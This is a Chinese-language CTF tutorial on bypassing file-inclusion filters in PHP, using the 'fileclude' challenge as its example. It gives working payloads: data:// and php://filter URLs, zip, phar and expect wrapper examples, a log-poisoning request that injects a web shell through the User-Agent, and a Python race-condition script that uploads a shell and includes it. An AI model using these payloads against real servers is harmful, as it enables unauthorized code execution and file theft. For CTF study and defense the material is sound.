当前位置: 首页 > news >正文

CTF选手必备:5种绕过文件包含限制的骚操作(以攻防世界fileclude为例)

CTF选手进阶:文件包含漏洞的5种高阶绕过实战

在CTF竞赛中,文件包含漏洞一直是Web安全赛道的经典考点。不同于简单的目录遍历,现代CTF题目往往设置了多重过滤机制,需要选手灵活运用编码转换、协议封装等技巧实现突破。本文将以攻防世界平台fileclude题目为蓝本,系统梳理五种实用绕过技术,帮助你在实战中快速定位突破口。

1. 理解文件包含漏洞的核心机制

文件包含漏洞本质上是由于服务端未对用户输入的文件路径进行严格校验,导致攻击者能够包含并执行非预期文件。在PHP环境中,常见的危险函数包括:

  • include()
  • require()
  • include_once()
  • require_once()

这些函数在设计上允许动态加载代码,但当参数可控时就会形成安全缺口。以fileclude题目为例,其核心漏洞点在于:

if(isset($_GET['file1']) && !empty($_GET['file1'])){ include $_GET['file1']; }

关键突破点分析

  1. 无后缀限制:未强制校验文件扩展名
  2. 路径未过滤:未对../等目录跳转字符进行过滤
  3. 内容可控制:file2参数可通过data协议直接控制

2. 基础绕过:data协议的灵活运用

当目标服务器允许URL包含时,data协议是最直接的利用方式。其基本格式为:

data:[<mediatype>][;base64],<data>

在fileclude题目中,我们可以构造如下payload读取flag:

?file1=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

这段base64解码后实际是:

<?php system('cat flag.php');?>

注意事项

  • 确保服务器配置中allow_url_include=On
  • 短标签<?可能被禁用,建议使用完整<?php标签
  • 某些环境会过滤php://但放过data://

3. 编码转换:突破内容检测的利器

当题目对包含内容进行检测时(如fileclude要求file2内容必须包含"hello ctf"),编码转换就成为关键手段。以下是三种实用编码方式:

3.1 Base64编码方案

?file1=php://filter/convert.base64-encode/resource=flag.php

优势

  • 几乎支持所有PHP环境
  • 可嵌套多层过滤器

解码技巧

echo "PD9waHAgZWNobyAiZmxhZ3t0ZXN0fSI7ID8+" | base64 -d

3.2 ROT13编码方案

?file1=php://filter/read=string.rot13/resource=flag.php

特点

  • 无需特殊字符即可实现文本转换
  • 某些环境下可能被禁用

3.3 压缩流编码方案

?file1=php://filter/zlib.deflate/convert.base64-encode/resource=flag.php

复合编码流程

  1. 先用zlib压缩
  2. 再进行base64编码
  3. 客户端需要反向解码

4. 协议封装:超越文件包含的思维定式

除了常见的data协议,PHP还支持多种wrapper协议:

协议类型用途示例
php://filter编码转换php://filter/convert.base64-encode/resource=flag.php
phar://解压缩攻击phar:///path/to/evil.zip/evil.php
zip://压缩包包含zip:///path/to/evil.zip%23evil.php
expect://命令执行expect://id

实战技巧

  • 当路径可控时,zip协议中的#需要编码为%23
  • phar协议需要目标文件实际存在
  • expect协议需要特定扩展支持

5. 日志污染:当常规方法失效时

在严格过滤的场景下,服务器日志文件可能成为突破口。典型步骤如下:

  1. 通过User-Agent注入PHP代码
  2. 包含access日志文件
  3. 触发代码执行
GET /vuln.php?file=/var/log/apache2/access.log HTTP/1.1 User-Agent: <?php system($_GET['cmd']);?>

关键点

  • 需要知道日志绝对路径
  • 日志权限需可读
  • 可能受日志轮转影响

6. 条件竞争:突破临时文件限制

某些题目会生成临时文件并短暂保留,此时可采用条件竞争策略:

  1. 编写脚本快速上传含恶意代码的文件
  2. 同时发起包含请求
  3. 在文件删除前完成包含
import requests import threading def upload(): while True: files = {'file': ('evil.php', '<?php system($_GET["cmd"]);?>')} requests.post("http://target/upload.php", files=files) def include(): while True: r = requests.get("http://target/vuln.php?file=./uploads/tmp_evil.php") if "flag{" in r.text: print(r.text) exit() threading.Thread(target=upload).start() threading.Thread(target=include).start()

在真实CTF比赛中,这些技术往往需要组合使用。比如在2022年某大型CTF中,一道题目就需要先通过日志污染获取初始权限,再利用phar协议实现横向移动。

http://www.jsqmd.com/news/520282/

相关文章:

  • AudioLDM-S多语言支持:语音合成技术深度解析
  • BongoCat终极指南:打造你的专属桌面猫咪伙伴
  • K8S网络插件Flannel实战:从Docker网络到跨主机Pod通信的完整链路解析
  • 计算机毕业设计springboot考研信息共享系统设计与实现 基于SpringBoot的研究生入学考试资源整合与学习交流平台构建 SpringBoot框架下考研资讯聚合与在线备考服务系统开发
  • ARMv7 vs ARMv8:架构差异全解析与迁移避坑指南
  • 解决PS3手柄Windows驱动难题:DsHidMini全方位配置与优化指南
  • 解决GitLab安装中的TCP连接问题:清华镜像源实战指南
  • 避坑指南:Unity项目拉取后Package Manager报错的终极解决方案(非换版本)
  • CocosCreator图片处理实战:如何把网络图片转成Base64并显示?
  • Windows下用VS2013配置freeglut开发环境(附常见错误解决方案)
  • 计算机毕业设计springboot攀枝花学院宿舍管理系统 基于Spring Boot框架的高校学生公寓信息化管理平台设计与实现智慧校园背景下学生住宿服务系统开发——以Spring Boot技术栈为例
  • Ryujinx:面向Switch游戏爱好者的开源跨平台模拟器解决方案
  • 生物信息学必备:psmc_plot.pl参数设置避坑指南
  • Wayformer实战:用Transformer实现高效运动预测的3种融合策略对比
  • TCRT5000红外循迹传感器原理与嵌入式集成实践
  • AIGlasses OS Pro网络安全应用:智能威胁检测系统开发
  • 开源SDXL应用新标杆:Nano-Banana软萌拆拆屋多场景落地解析
  • MCP客户端状态不同步问题全解(2024生产环境真实故障复盘)
  • 别再死记硬背连通分量了!用这个可视化小例子彻底搞懂邻接矩阵和DFS
  • 告别Vivado原生编辑器:VS Code硬件开发环境搭建与插件配置指南(含避坑提示)
  • 企业级数字人快速落地:lite-avatar形象库在客服培训场景实战
  • InstructPix2Pix在跨境电商中的应用:多语言商品图本地化快速适配案例
  • Pixel Mind Decoder 算法原理浅析:从输入文本到情绪向量的映射
  • 宇树L1 RM激光雷达开箱实测:从拆箱到ROS点云显示,保姆级避坑指南
  • 告别Keil,从零构建NXP MIMXRT1052在MCUXpresso IDE下的QSPI Flash调试实战
  • 驱动安装难题:当“基本系统设备”与“性能计数器”遭遇处理器架构变更
  • Citra 3DS模拟器终极指南:在电脑上畅玩经典掌机游戏的完整教程
  • URP多通道渲染全攻略:用Render Texture分离颜色/深度/法线信息的5个高级应用场景
  • STM32新手必看:HY-SRF05超声波模块从接线到测距的完整实战指南
  • 彻底解决Nacos 2.x中localhost:8848顽固问题的5个步骤